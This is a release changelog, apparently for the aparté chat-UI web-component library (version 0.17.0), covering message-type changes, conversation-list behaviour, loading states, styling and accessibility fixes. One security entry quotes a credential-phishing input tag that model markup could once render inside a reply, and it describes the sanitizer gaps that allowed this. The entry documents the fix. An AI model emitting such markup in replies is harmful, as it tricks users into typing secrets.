    Each already pointed customElements at its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there. @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-model-selector

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.17.0

Every @aparte/* package ships at this version (they are released in lockstep).

Minor Changes

  • 7d009cf: A binary attachment now warns instead of vanishing; AparteFilePart is removed — aparté inlines images and text files only. If you referenced AparteFilePart (or engine’s StreamFilePart) in your own types, drop it: AparteContentPart is text or image.

    Nothing ever produced a file part. The client inlines images and recognized text files and returned null for everything else, and both wire mappers answered the type with an empty text part — a branch no message could reach. What the type did do was promise a consumer that attaching a PDF sent it, while the chip stayed on screen and the model answered as if nothing had come with the message. That promise is now a warning at the one place the file is really dropped, once per file, naming the file and its type; the chip is untouched, so your own upload or RAG layer still sees it on the aparte-send event.

    The two-arm union also empties the third mapper’s fallback: the vision runner counted “content parts this runner cannot carry” and warned about them, over a branch no message could reach. The count and its warning are gone, the same way they went from the two wire mappers. @aparte/core, @aparte/engine

  • ba9baa1: Add manage to <aparte-conversation-list>: with a conversation manager registered, the ⋯ menu now performs delete/archive/pin/rename itself. Nothing changes without the attribute.

    Registering the manager is the one line you already write for the rest of the persistence (setConversationManager(manager)); manage on the element is the second. The six listeners that forwarded rename, pin, unpin, archive, unarchive and delete to that same manager can go: each of our six example apps deleted its whole forwarding block for one attribute.

    The events still fire, first, and they are now cancelable: preventDefault() on one takes that single gesture back and leaves the rest to the list. So a host that owns its persistence leaves manage off and keeps exactly the behaviour it has today, and a host that owns only one of the six can set manage and cancel that one. manage with no manager registered warns on the first gesture, naming the call to make.

    Selecting a conversation is untouched: it is a load, not a write, and stays the host’s — the conversationId binding, or the window-level aparte-conversation-select a bound controller hears. @aparte/core

  • edd2f06: A tool turn is now an assistant message carrying toolCalls and a tool message carrying toolCallId; the 'tool_call' and 'tool_result' roles are gone.

    Who has to change something. Only code that BUILDS an AparteChatMessage[] by hand: a history function, a requestInterceptor that inspects roles, or a host mirroring onHistoryAppend into a log of its own. Nothing that uses AparteClient normally, and no provider you did not write yourself.

    The mapping, as two lines:

    { role: 'tool_call', content: '', precedingText: T, toolCalls: C }
    { role: 'assistant', content: T, toolCalls: C }
    { role: 'tool_result', content: R, toolCallId: I }
    { role: 'tool', content: R, toolCallId: I, toolName: N }

    precedingText is removed, not deprecated — no alias, no compatibility shim: before 1.0 a rename is a rename, and the type error is the migration. What it carried is the assistant message’s own content; an assistant that said nothing before its calls carries ''.

    toolName is new and optional, on a tool message. Set it and the AI SDK bridge stops guessing 'unknown' for a result whose call it cannot find, and @aparte/provider-scenario routes on the name without scanning back. Both still fall back to the declaring assistant message when it is absent.

    Your stored conversations need nothing. Persistence holds AparteMessage, whose role is always user or assistant; no tool turn was ever written to IndexedDB. The conversation schema version is unchanged.

    If you hold the envelope by reference — the rule onHistoryAppend already stated for toolCalls — note that content is now the field that is finalised after you are notified: a provider that streams text after its first call re-reads it at the turn’s end. Hold the reference, not a snapshot, or serialise only once the turn’s last tool message has arrived. A snapshot used to lose a trailing clause; it now loses the whole sentence.

    Why the shape changed: every message API in use — OpenAI-compatible, Anthropic, the AI SDK — expresses a tool round-trip as an assistant turn that declares its calls plus one message per result. Two roles of our own meant every provider translated on the way out, every consumer learned a vocabulary that matched no documentation they had read, and the assistant’s own sentence lived in a field (precedingText) that only this library had a name for. This is the last known structural breaking change to the message type before the beta. @aparte/core, @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers

  • d86c28a: A conversation can be on its way: <aparte-chat-viewport loading> and <aparte-conversation-list loading> draw skeletons, the manager fetches a conversation’s messages on demand through your adapter’s loadFull(), and the controller sets loading while it waits and drops a reply for a conversation the user has already left.

    Nothing to change unless your adapter implements loadMeta() and loadFull(): it is now used — init() reads the list through loadMeta() and setConversationId(id) fetches the messages through loadFull(id) the first time. manager.isLoaded(id) and manager.ensureFull(id) are public. An adapter with loadAll() alone behaves exactly as before.

    What was wrong: loadMeta() and loadFull() were in the storage contract from the start and nothing called them, so between a click on a conversation and its messages there was no moment at all — and a page wired to a real store had to invent one, with a skeleton of its own over the components. Worse, aparte-chat[center-empty] decided it was empty by looking at the DOM: a transcript whose messages had not arrived yet has no bubble, so the welcome screen and the centred composer showed while a conversation loaded. Now:

    • <aparte-chat-viewport loading> (reflected; viewport.loading = true or setLoading(true)) draws two skeleton turns with the kit’s recipe, marks the scroll surface aria-busy and names the wait for a screen reader (locale key loadingConversation). data-busy is still a reply streaming; this is the transcript itself arriving.
    • aparte-chat[center-empty] counts a loading viewport as not empty.
    • <aparte-chat> disables its composer while its viewport is loading, and gives it back as it found it (a disabled you set stays). A send in that window raced the fetch: the message went into a history the arriving one overwrote.
    • <aparte-conversation-list loading> draws six skeleton rows, aria-busy, with its own status line (locale key loadingConversations). Set it while your store answers, clear it when you assign conversations.
    • AparteChatBinding.setLoading?(on) is the controller’s way to say it; the default DOM binding sets the viewport’s attribute.
    • Two quick clicks: the controller re-reads the active id after the fetch and drops the stale reply, so A never paints over B. @aparte/core, @aparte/locale-fr
  • d67148b: Composer buttons are <aparte-composer-action> elements, not registry entries: zones: ['composer'], composer.position and setActionHidden are removed. If you registered an action with zones: ['composer'], write the element in your composer markup instead and listen for aparte-action-click; zones: ['bubble'] is untouched. The aparte-action event detail’s zone is typed AparteActionZone now, so a listener that narrows on 'composer' no longer compiles.

    The registry never placed a composer button. getActions was only ever called with 'bubble', by the message bubble; nothing in core asked it for the composer zone, so an action registered there rendered nowhere, composer.position decided nothing and setActionHidden toggled a flag no element read. AparteActionZone is now 'bubble', which is what the code always meant.

    composer.position: 'left' | 'right' was also the one place left that named a side. Placement in the composer is the order you write the elements in, plus margin-inline-start: auto — a name a right-to-left locale contradicts is a name that will lie.

    The customization guide now shows the composer button it used to mention in passing: the element, where it goes in the row, and the action-id that tells two of them apart. @aparte/core

  • 23044a5: The conversation list’s seven events are renamed subject-first, with no alias: aparte-conversation-select, -delete, -archive, -unarchive, -rename, -pin, -unpin (were aparte-select-conversation, aparte-delete-conversation, …). Wrapper bindings follow: onConversationSelect in React, @conversation-select in Vue, on:aparte-conversation-select in Svelte, (conversationSelect) in Angular. The no-groups attribute is flat ([flat] in Angular).

    Every other event of the library reads subject then verb — aparte-select-change, aparte-message-start, aparte-split-resize — and the conversation list’s detail types were already subject-first (AparteConversationSelectDetail), so one addEventListener line carried both orders. no-groups was the only negative boolean attribute; flat says what the rows are, and covers the “pinned first” order the same flag also removes. Pre-1.0, a rename is a rename: this lands before the beta freezes the surface, and the old names are gone rather than kept as aliases. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • bd91b89: AparteConversation and AparteConversationMeta drop folderId, lastMessagePreview, messageCount and totalTokens — nothing in the library read them.

    Who has to change something. Only a storage adapter that WRITES one of the four onto the object it hands back, and only if it types that object as AparteConversation / AparteConversationMeta. Records already in your store are untouched: the schema version is unchanged, nothing migrates, and an extra key on a stored row is still an extra key that reads back fine.

    If your store computes any of them, keep them — on your own row type:

    interface MyRow extends AparteConversationMeta {
    folderId?: string;
    messageCount?: number;
    }

    Why they leave. folderId was “optional folder/tag id for organisation”, a column for a folders feature this library does not have; lastMessagePreview was a cached preview the sidebar never asked for (it renders the conversation it already holds); messageCount was “for the sidebar badge”, and there is no badge; totalTokens was a per-conversation sum nothing added up. Four fields an adapter author had to decide about, on a contract that never read one of them. The token totals that DO exist stay where they are earned, in AparteUsage on a message. @aparte/core

  • 937b062: AparteChatRequest drops prefill, systemOverride and fastStream — no provider read them; pass provider-specific options in _meta. If you set one, move it under a key of your own: _meta: { llamacpp: { prefill: 'x' } }, which reaches your provider untouched.

    All three were documented “providers MAY ignore it”, and every provider did: they were one model family’s raw-completion vocabulary flattened onto every request, so a third-party provider implementing the type inherited three fields it could not honour. _meta is the channel that already works — an open, namespaced bag core neither filters nor rewrites. The trigger to reconsider is a raw-completion provider in this repo that would actually read one; the JSDoc on the interface now says so, and a test drives an option through the client and AparteDirectTransport to prove the path stays open.

    One correction comes with it: _meta’s own documentation claimed it was “never sent to the AI provider — stripped before the network call”. Nothing strips it, and AparteBackendTransport serialises it to your endpoint inside the default { providerId, request } body. Both halves were false, and the field now says what it does — including that it is not a place to hide a secret. @aparte/core

  • 333b5a3: A conversation with no text yet has an empty title (it used to be the English string New Chat), and editing the first user message re-titles the conversation unless you named it yourself.

    Two things for a consumer that reads AparteConversation.title:

    • createNew() with no argument, and a first message with no text, now leave title empty. <aparte-conversation-list> already showed its locale’s newChat word for an empty title, so a French UI no longer displays “New Chat” from the store. Render title || yourLocale.newChat where you show a title of your own.
    • A new optional field, autoTitle, is true while the title is the manager’s decision (the first message as typed, or the title provider’s answer). Editing the first user message then re-titles through the same path. updateTitle() sets it to false, and a title you typed is kept whatever happens to the messages. Records written before this field existed have no flag and read as typed: an old title is never overwritten. @aparte/core
  • 33bf7bd: Import showcase from @aparte/provider-scenario/showcase; the root export is deprecated and removed in this release. One line changes: import { createScenarioProvider, showcase } from '@aparte/provider-scenario' becomes an import of createScenarioProvider from the root and one of showcase from @aparte/provider-scenario/showcase. Nothing else moves — the scenario format, createScenarioProvider, defaultMatch and playTurn are untouched.

    showcase is a demo corpus, not a capability: twelve scripted turns with their markdown, their code block, their reasoning and their artifact, about 4 kB of the package. It sat on the root barrel, so a consumer who wrote their own scenarios shipped it anyway — runtime laziness is not distribution weight, and the lever for weight is a separate entry point, not a flag.

    The provider and the corpus now build as two entries, and the scenario page, the README and the docs’ live frames all import it from the subpath. @aparte/provider-scenario

  • 595ec0b: The four wrappers show a conversation on its way: a loading prop (an input in Angular) draws two skeleton turns in the transcript, keeps the empty state off and disables the composer until the messages land — and the conversation controller sets it by itself while it fetches through your adapter’s loadFull(). Nothing to change unless you want a wait of your own: pass loading.

    Core’s host binding gained onLoadingChange?(on): the controller’s wait, forwarded beside the viewport’s loading attribute, so a wrapper that renders its own DOM can draw it. Under framework-managed the viewport itself draws no skeleton any more (a <div> prepended into a host React reconciles is one React did not render); it still sets the attribute and aria-busy. And the viewport’s status line for a screen reader is now a sibling of the skeleton, not a child of it — inside an aria-hidden box it was hidden too.

    Svelte sets the viewport’s loading attribute imperatively too: under Svelte 5 a template attribute on an element that has a property of that name is set as the property, and '' through the setter read as false — the attribute never appeared, which the Svelte 5 example caught (Svelte 4 set the attribute). @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

Patch Changes

  • 56cc153: The application header’s sidebar toggle shows at every width while the sidebar is collapsed, so a sidebar closed on a desktop can be opened again. Nothing to change on your side if your header carries .aparte-app-header__toggle with data-aparte-sidebar-toggle, the shape the recipe documents.

    On the chat site at 1440px, collapsing the sidebar with its own toggle took it to 0px, inert and aria-hidden, its toggle with it, while the header’s toggle was display: none outside the phone media query: nothing on the page reopened it. The sidebar keeps aria-expanded on every [data-aparte-sidebar-toggle], so the recipe shows the header’s control exactly when the sidebar is closed (.aparte-app-header__toggle[aria-expanded="false"]), on top of the drawer case it already had. @aparte/core

  • f474a95: A new conversation is titled from the message that opened it even when two sends land together, a rename keeps the conversation’s place in the list, a confirmed delete hands the keyboard to the row that took its place, and the composer comes back when a fetch is superseded by an id the store does not know. Nothing to change in your code, unless you relied on a rename floating a conversation to the top.

    Two coalesced sends make one first message. addMessage() suspends twice before it writes — for the messages, when they are not in memory, then for the title provider — so a suggestion and a quick type, released into it within a microtask of each other, both read a conversation with no user message in it yet: both counted as the first, and the second one’s text became the title, in memory and in the store, permanently (the persist that follows the reply re-titles only an edited first message). Appends are now serialised per conversation: the next one reads what the previous one wrote. Message order was already right; only the title was wrong.

    A rename leaves updatedAt alone. Like pin, unpin, archive and unarchive, a rename is metadata, and the list sorts on the last message rather than the last edit. It also could not be otherwise: an adapter’s rename() hook carries the title alone by contract, so the bump lived in memory only — the row re-grouped under “Today” and jumped back to its old date on the next reload. Memory and storage now agree in both branches, hook or save().

    A superseded fetch always ends its wait. setConversationId clears the wait it superseded on every exit now, including the two that returned without it: an id the manager does not know (a deep link to a conversation another tab deleted) and the hydration retry. The in-flight fetch returns silently once the active id has moved, so nothing else was going to clear it — the viewport kept its skeleton and aria-busy, and the composer stayed disabled until a reload.

    A second init() keeps the conversation on screen persisting. It re-reads the list from the store, which for a split adapter is metadata alone; what the first init() had fetched was forgotten with the rows it lived on, so writes to the open conversation were refused — silently, since the refusal is the controller’s own. A conversation whose messages are already in memory now keeps them and stays loaded; a row the store no longer lists is dropped with its messages. init()’s docblock says so.

    The store gets the messages you sent. updateMessages() saved the segments a viewport derived from a message’s markdown on display — they were already excluded from the change comparison, but not from the record, on either half of it: the flat messages and the branch tree. Stored, they filled the store with core-generated ids and froze the parse as it stood the day it was saved, so a block grammar registered later never applied to that message. The tree is the half that mattered most, since that is the half a viewport reads back.

    A confirmed delete keeps the keyboard in the list. Delete is confirmed from the row’s own menu, so the row holding the focus is the row that leaves: the focus landed on <body> and the next Tab restarted at the top of the page, right after the one action here that cannot be undone. It goes to the row that took its place (the next one, else the one above), and to the list itself when the last conversation goes. @aparte/core

  • c60a806: With @aparte/plugin-streaming-markdown installed as your only Markdown renderer, a reply now stays rendered when the turn ends instead of collapsing to raw Markdown source. Nothing to change on your side; a one-shot provider is now genuinely optional.

    The settling update flushes the incremental parser and then re-renders the message once through the one-shot provider, for full fidelity. That trade only pays when a one-shot provider exists: with the streaming plugin alone, the one-shot side is core’s zero-dependency default — escape plus <br> — so the re-render replaced <strong>, <pre> and <ul> with the Markdown that produced them, at the exact moment the reader stopped waiting. The message read richly for the whole stream and turned back into source on the last token.

    writeStreamedMarkdown now asks the seam which renderer it is about to use. When renderMarkdown is core’s built-in default, the flushed DOM is kept and passed through sanitizeHtml in place; when a provider is registered — including one that hands prose back untouched, since that is still the caller’s renderer and not ours — the settle re-renders through it exactly as before. Either way a settled message is what the sanitizer produced, which is what allows an incremental provider to write DOM directly in the first place. The flush also feeds the parser any content the last streaming update did not carry, so what is kept is the whole message. @aparte/core

  • 913969b: A keyboard-focused conversation row now draws a focus ring; a chat in a shadow root follows the dark theme; the English locale no longer writes dir="ltr" on the chat, so a page that sets dir="rtl" is honoured. Removed: ten CSS classes and seven CSS variables nothing read (.aparte-input-wrapper, .aparte-input-container, .aparte-editor, .aparte-has-content, .aparte-input-upper, .aparte-input-footer, .aparte-provider-select, .aparte-model-select, .aparte-actions-left, .aparte-actions-right, and --aparte-input-gap, --aparte-input-container-min-height, --aparte-input-editor-max-height, --aparte-input-editor-font-size, --aparte-input-text, --aparte-model-select-chevron-room, --aparte-model-select-min-width). If your markup or theme uses one of those names, it was already doing nothing to the live composer — the live editor is .aparte-ci-editor and reads --aparte-input-font-size / --aparte-composer-control-size.

    The row’s ring. It was removed on 2026-09-05 for good reasons — it drew the title BUTTON’s box, so the ⋯ sat outside it with the ring’s end hidden underneath, and a rectangle inside a rounded row read as a mistake — and the whole indication was left to the hover lift. Measured with core’s own tokens: the lift is --aparte-surface-3, a 6% tint, so a focused row read 1.12:1 against its neighbour in light and 1.18:1 in dark, where SC 1.4.11 asks 3:1 of the state that says which row Enter opens. It is the primary navigation of every chat product this library is meant to build, thirteen tab stops into the page. The ring is back keeping every one of those reasons: drawn on the ROW so the ⋯ is inside it and it follows the row’s 9px radius, INSET by its own width so the list’s horizontal clip cannot cut it, and the kit’s own ring — same token, same colour, same 1px. Measured after: 4.22:1 against the focused row’s fill, 4.72:1 against the sidebar in light, 5.79:1 in dark. The button keeps outline: none: dropping it gives two rings, the inner one Chromium’s black auto 1px on a box 34px narrower than the row.

    A dark host. The light palette is declared on :root, :host, so a stylesheet adopted into a shadow root put the light hexes ON THE HOST, where a local declaration beats the dark value the host would otherwise inherit — and neither dark block could reach it, because :root does not match inside a shadow tree and a bare [data-aparte-theme="dark"] does not match the host element. Measured before: a chat in a shadow root under a dark page read --aparte-bg: #f6f2ea, a light card on a dark page, silently — which is exactly the arrangement guides/theming.md promises works. Each of the three palette blocks now names its :host(...) twin. One honest limit, worth stating: the media query is fully fixed, but the ATTRIBUTE path only sees data-aparte-theme set on the host element itself. An attribute on an ancestor outside the shadow root stays invisible from inside — only :host-context() could see it, and its support is partial.

    The reading direction. APARTE_DEFAULT_LOCALE declared direction: 'ltr' as a literal, and both writers stamped it, so core OVERWROTE the host’s direction: with <html dir="rtl"> the app shell mirrored and the chat inside it did not — bubbles, branch picker, composer order and every line of text stayed left-to-right. The field is now undefined by default, the way tag next to it already was, and undefined means “follow the host”. A locale that wants the direction pinned still declares it, which is the case the field exists for; setLocale replaces the object wholesale, so no default merges back in. Six physical declarations that only mattered once RTL was reachable went logical with it: the prose list indent, the blockquote rail and gutter, the reasoning rail, the pending attachment’s ✕ and the status dot’s gap.

    The dead block. 201 lines of components/composer.css under its own “Legacy composer input utility classes” banner styled markup no source in the repo emits — verified against the running page, where all nine classes count zero. Dead CSS here is not inert: reference/classes.mdx is generated from these sheets, so the whole set shipped as public API; the block was where the abandoned Tailwind ramp survived, two data-URI chevrons on #6b7280 / #94a3b8 against a palette that had moved to #a89bb6; and it held the last three slot[name="footer-left|center|right"] rules, the positional names decision #4 retired. The seven variables had that block as their ONE reader — check:derived-vars asks whether a stylesheet reads a token, which an ORPHANED reader still satisfies — so they were published as knobs that moved nothing. .aparte-send-button and the aparte-model-selector / .aparte-model-selector pair sat inside the range and stay.

    Two smaller ones. The scroll rail’s focus ring moved onto the ::before that already draws the tick’s 24×24 pressable zone: outline paints on the element’s border box, and the tick’s box is the 14×2 line it draws, so the indicator came out 16×4 floating in the middle of the target a keyboard user follows down the whole transcript. And the composer toolbar’s empty-row rule was split in two, so an engine without :has() still hides an empty row: an unsupported selector anywhere in a comma list voids the whole rule, and the first-paint reservation was taking the two plain selectors down with it.

    Measured and deliberately not changed. A position: fixed popover inside a bubble is clipped at the bubble’s edges. contain: layout style paint on aparte-chat-bubble looked like the cause and is not: content-visibility: auto turns on layout, style and paint containment on its own, so layout style paint, style alone and none all paint the same 2 of 4 sampled rows of an <aparte-select> opened inside a bubble, and only removing content-visibility reaches 4 of 4 — which is the streaming-performance win, not a style cleanup. It would not be enough either: aparte-chat-viewport is a container-query root with contain: layout style, so a fixed popover anywhere in the transcript resolves against the viewport rather than the window. Core puts no popover in a bubble; a tool renderer that needs one should mount it beside the viewport. The numbers are in bubble.css so the next reader does not re-derive them. @aparte/core

  • acc33dc: Nothing changes in your code. AparteLocale now documents the eleven keys a plugin renders and core does not — the artifact card’s, the compaction summary’s, the approval mode picker’s and the model selector’s — as a closed exception, the localization guide shows a plugin of your own the route that needs no room in that list, and check:locale-keys holds the eleven inside this repo.

    AparteLocale is the closed list of the strings core itself draws, and t() is typed against it — which leaves a plugin author exactly one place to put a translatable key. Eleven arrived that way: the artifact card’s labels and its two sandbox lines (@aparte/plugin-artifacts), the summary title (@aparte/plugin-compaction), the mode picker’s label (@aparte/plugin-approval) and the empty picker’s placeholder (@aparte/plugin-model-selector). They stay, and they are right where they are: a locale package translates one flat object rather than one per plugin, and a key that ships in every bundle costs a release notice to withdraw. What was missing is that nothing told them apart from core’s own words, so a twelfth would have followed by reflex.

    The guard reads core and the plugins as two corpora now, and holds the eleven in PLUGIN_OWNED. A declared key that only a plugin renders and is absent from that list fails, naming the plugin and the three ways out; a listed key that core has started rendering fails the other way, asking for the line back — a list that outlives its reason is how a guard goes quietly decorative. Both directions run in scripts/__tests__/check-locale-keys.test.ts over a doctored locale and a doctored corpus (--locale, --sources), instead of being described.

    It shipped first as nine, because the matcher knew cfg.t('x') and getLocale().x and not getLocale()['x'] — the shape @aparte/plugin-approval and @aparte/plugin-model-selector both use, so their two keys read as nobody’s and the guard called the tree clean. The bracket shape counts now, and the suite carries a fixture written that way in both directions. The counts are unchanged: 91 keys, 82 t('…') reads.

    For a plugin of your own nothing moves: read your string off getLocale() and default it at the call site. Your key is yours, and it needs no room in core’s list. @aparte/core

  • 9e44756: A conversation row’s ⋯ menu can be used with a mouse in Safari and every other WebKit browser: a press inside the menu no longer closes it before the click reaches the item. Nothing to change on your side.

    WebKit does not move the focus to a button on mousedown. It blurs the element that held it instead — a focusout with no relatedTarget — before the click is delivered. The menu read that as the focus leaving and closed on the press itself, so with a mouse the confirmation never appeared and no item could be chosen; the keyboard path was unaffected. The menu now holds a press inside it from pointerdown to its release and ignores that one blur. @aparte/core

  • 4a73996: Three sanitising gaps close, none of which asks you to touch your code: a message that finishes streaming is re-rendered through the sanitizer, an <input> in model markup keeps only type="checkbox", and an attachment thumbnail’s URL is checked before it becomes an <img src>.

    The settle pass now runs. writeStreamedMarkdown documents two states — while streaming, an incremental provider writes DOM directly and bypasses sanitizeHtml; on the settling update it flushes that provider and re-renders once through the one-shot provider, whose output is sanitised. The second half is what makes the first acceptable, and on the simple-content path (appendMessage / appendToken / completeMessage, the first thing the getting-started guide teaches) it never happened: _updateStreaming(false) toggled data-streaming, aria-busy and a class, and never re-rendered the content. The live end-of-turn call carries no content of its own (completeMessage sends { status: 'completed' } alone), so whatever the streaming provider wrote stayed on the page for good. The segment path was never affected.

    <input> is what its allowlist entry always said it was. The tag is allowed for one thing, a GFM task-list checkbox, and type was copied through unexamined — so <input type="password" title="API key"> rendered a credential prompt inside a reply. Nothing could read what was typed (form, button and name are refused, on* is never copied, and the inline-style allowlist has no position, so the control could not be lifted out of the bubble either), but the ask is the attack. Every type other than checkbox is now dropped.

    An attachment tile applies the same URL policy as everything else core writes. AparteAttachment.url is documented as “URL or data URI” and a storage adapter re-mints it when a conversation is restored, so it is the app’s value; it was escaped and written, where every other URL core emits is first asked whether its scheme is allowed at all. It now goes through isSafeUrl, and an image whose URL is refused falls back to the file chip — which still names the file — rather than rendering a broken picture. blob: is kept, because that is the shape core itself mints for a file the user just picked. @aparte/core

  • c73636b: client.stop() now takes that client’s keyResolver back off its config, and when a config holds several key sources the most recently registered one answers first. Remounting a chat with new options changes the key again. Two things may need a look on your side: code that relied on a stopped client still signing requests, and any annotation you copied from the config reference — config.getKey(providerId) resolves to string | Record<string, string> | undefined, not string | undefined, so widen yours if you typed it. The runtime type is unchanged; the page was wrong.

    new AparteClient({ keyResolver }) registers the resolver on its config so the model list signs its request with the same credentials as the chat. That registration outlived the client that made it: nothing released it, and getKey answered in registration order, so the first resolver a page ever registered kept answering for every later one. Three consequences. A stopped client kept signing model-list requests. The remount the wrappers document as the way to swap options (“remount the component that owns the hook”) added a source behind the one it meant to replace, so the new key never reached refreshProviderModels. And each mount left a retained closure on the config for the life of the page.

    The client now holds the teardown registerKeyProvider returns and calls it in stop() — before the early return, since the source is added in the constructor and a client that never started still holds one — and start() registers again, so a stop/start pair is symmetric. getKey walks the registered sources newest first, over a snapshot, so a source torn down while an earlier one is being awaited cannot shift the iteration underneath it. Each registerKeyProvider call is its own source too — the registry used to be keyed by the function itself, so two panes handed the same module-level resolver were one entry and the first to unmount took the second one’s key with it.

    AparteConfig.registerKeyProvider is on the config reference page now, with an example and the resolution order, and getKey’s signature there says what it has actually returned since it learned to carry { apiKey, endpoint }. @aparte/core

  • dbd64b2: <aparte-composer placeholder="…">, <aparte-composer disabled> and <aparte-context window={8000}> no longer throw under React 19 and Svelte, and <aparte-suggestions suggestions='[…]'> renders its chips. AparteUiHandle is now exported from @aparte/core — the contract each wrapper’s <AparteUi> handle re-exports.

    React 19 and Svelte assign the PROPERTY whenever the element has one of that name, and only fall back to the attribute when it does not. placeholder, disabled and window were getter-only, so the assignment threw Cannot set property … which has only a getter and took the render down — on a spelling both wrappers’ typed template surfaces declare valid. They have setters now, disabled through presenceOn so the documented '' means ON (#62).

    <aparte-suggestions>’s setter took an array only, while the attribute it mirrors carries the JSON string form and its own docblock calls the two channels equivalent. A React or Svelte template handing it that string failed Array.isArray, the list became [], the attribute was never written and attributeChangedCallback never ran: no chips, no warning. The setter takes AparteSuggestion[] | string and routes a string through the same parse the attribute uses.

    AparteUiHandle moves here for the reason AparteChatImperativeApi did: it was four hand-written copies, each docblock promising “the same contract on all four wrappers”, and it had already drifted once. @aparte/core

  • 43297ea: <aparte-optgroup collapsible> no longer throws under React 19 and Svelte 5: the property has a setter, and assigning it toggles the attribute.

    React 19 and Svelte 5 write the PROPERTY whenever the element has one of that name, and fall back to the attribute only when it does not. collapsible was a getter with no setter beside collapsed, which has one — so the assignment threw Cannot set property collapsible of #<AparteOptgroup> which has only a getter and took the whole render down, on a spelling the typed JSX/Svelte surfaces declare valid and the element’s own @example shows. The in-repo emitter was safe by accident: @aparte/plugin-model-selector builds its groups as an HTML string.

    The same shape is now asserted for the select family as a whole rather than for the one case: an attribute those elements declare is either absent as a property or writable as one — never getter-only. @aparte/core

  • af3edf5: aparte-btn on an <a> no longer shows the browser’s underline; nothing to change unless you relied on it.

    The recipe is documented as classes for your own elements, and a settings page reached by a link is the first thing a site puts it on. The UA stylesheet underlines an anchor and no rule of the recipe said otherwise, so the link rendered as underlined text beside an icon button. The reset now lives in the recipe. @aparte/core

  • 5805be2: The focus ring, the selected-row mark and the composer’s focus border are neutral now, not brass; a theme that wants the accent back sets --aparte-border-focus, --aparte-mark-bar and --aparte-select-border-hover.

    What changed on screen, measured on the chat-site example:

    • --aparte-border-focus is var(--aparte-neutral): every focused control drew a 2px accent ring, which turned a page of controls into a frame gallery. The ring is still 2px, outside the box, on :focus-visible only.
    • --aparte-mark-bar is 0px: the accent bar on the start edge of a chosen row (the active conversation, the selected option, a checked choice) is gone; the tint and the text weight carry the mark.
    • A checked .aparte-field-choice lifts a step (--aparte-surface-2) instead of taking an accent border and tint: the radio or the box shows the choice.
    • The composer shell’s :focus-within border is --aparte-text-muted, a contrast step on the hairline rather than the accent.
    • The select trigger’s hover border is --aparte-text-muted; a keyboard-active option wears the focus ring’s colour rather than the accent.
    • Conversation rows read in --aparte-text, the group headings stay muted: the two no longer looked alike. @aparte/core
  • 71a535d: An assistant message handed over as a markdown string (appendMessage, setMessages, importTree) now renders like the same words streamed: a fence becomes the code card with its filename, language and copy button, a <think> block becomes a reasoning block. You no longer call parseMarkdownToSegments yourself before appending.

    The stream went through the parser and a string went through the prose renderer, so the same reply looked different once it came back from a store or a non-streaming call: a bare <pre> where the live turn had the card. appendMessage now runs the same parser, with the same registered stream blocks, on an assistant’s content when it carries no segments and there is something to split. A user’s message is not parsed, plain prose keeps the content path, and a message that already has segments is untouched. @aparte/core

  • 5581be9: fallback is declared on every segment, not only on type: 'custom' — the renderer already read it that way.

    Nothing to change. The field moves up from AparteCustomSegment to AparteSegmentBase, so the six built-in segment types declare it, and so does any type of your own written as AparteSegmentBase & { type: '…' }. Anything that already set it on a custom segment still compiles.

    What it buys you: a segment whose renderer is not registered draws its fallback sentence instead of [Unknown segment type: …], and that has always been true for EVERY type, because the bubble reads the field structurally. Only the declaration was narrow — a built-in segment could not type the sentence it was about to be rendered from:

    import type { AparteSegmentBase, AparteTextSegment } from "@aparte/core";
    // A built-in type, carrying what a client with no markdown renderer will draw.
    const text: AparteTextSegment = {
    id: "s1",
    type: "text",
    content: "**A transport** is the object that talks to the model.",
    fallback: "A transport is the object that talks to the model.",
    };
    // Your own type is the same base plus a `type` of yours — no cast, and `fallback`
    // is declared for you.
    type CitationSegment = AparteSegmentBase & { type: "citation"; url: string };
    const citation: CitationSegment = {
    id: "s2",
    type: "citation",
    url: "https://example.org/weather",
    fallback: "Weather report, 6 September.",
    };

    One clause of the field’s documentation was wrong and is corrected. In the HISTORY sent back to the model, fallback stands in for the segment only where core does not serialise the type itself — custom, and any type core does not know (a registered block grammar’s, a plugin’s). A text or a code segment contributes its content and nothing else, and thinking / tool_call / error are kept out of the history on purpose. The docblock used to promise the substitution for every type; the behaviour is unchanged, the sentence is.

    Supplying a fallback also silences the “no renderer for segment” developer warning: an author who wrote one has already said this can happen. @aparte/core

  • 7e7200c: dist/index.css is minified (138 kB instead of 368, 20 kB gzip instead of 98), and a page that ships the chat as static HTML no longer jumps when the elements upgrade.

    Measured with Lighthouse on the vanilla example built for production: the cumulative layout shift went from 0.226 to 0.011 and the performance score from 88 to 100. Four rules apply before an element is defined, so the first paint already has the final shape:

    • aparte-chat[center-empty] with no bubble in its markup centres its composer from the first frame; the viewport releases its height the way it does once data-empty is written.
    • aparte-composer-input reserves the editor’s height (--aparte-composer-control-size).
    • aparte-suggestions reserves one row of chips while the chat is empty.
    • aparte-composer-toolbar holding only whitespace draws nothing, as it will once it reflects data-empty.

    The minified stylesheet is what a page that links dist/index.css directly (a CDN, no bundler) downloads; a bundler minified it already and sees no change. @aparte/core

  • 141e0a3: A fenced code block rendered from markdown no longer paints an inline-code background on every line; nothing to change on your side.

    The prose rule for inline code matched the <code> inside a <pre> too, and with white-space: pre-wrap its background and padding paint per line box: every line of a markdown block wore its own stripe, with a notch at its start. The rule is scoped to :not(pre) > code now, so inline code keeps its chip and a block keeps one surface. @aparte/core

  • db15e77: <aparte-conversation-list> takes manage as a property, so binding false from a framework turns the writes off; and its delete confirmation reports as a dialog instead of two plain buttons inside a menu. Nothing to change on your side, unless a selector of yours pins that confirm step to [role="menu"]: while it asks, the popover is [role="dialog"], so anchor on [data-menu-action="confirm-delete"] instead.

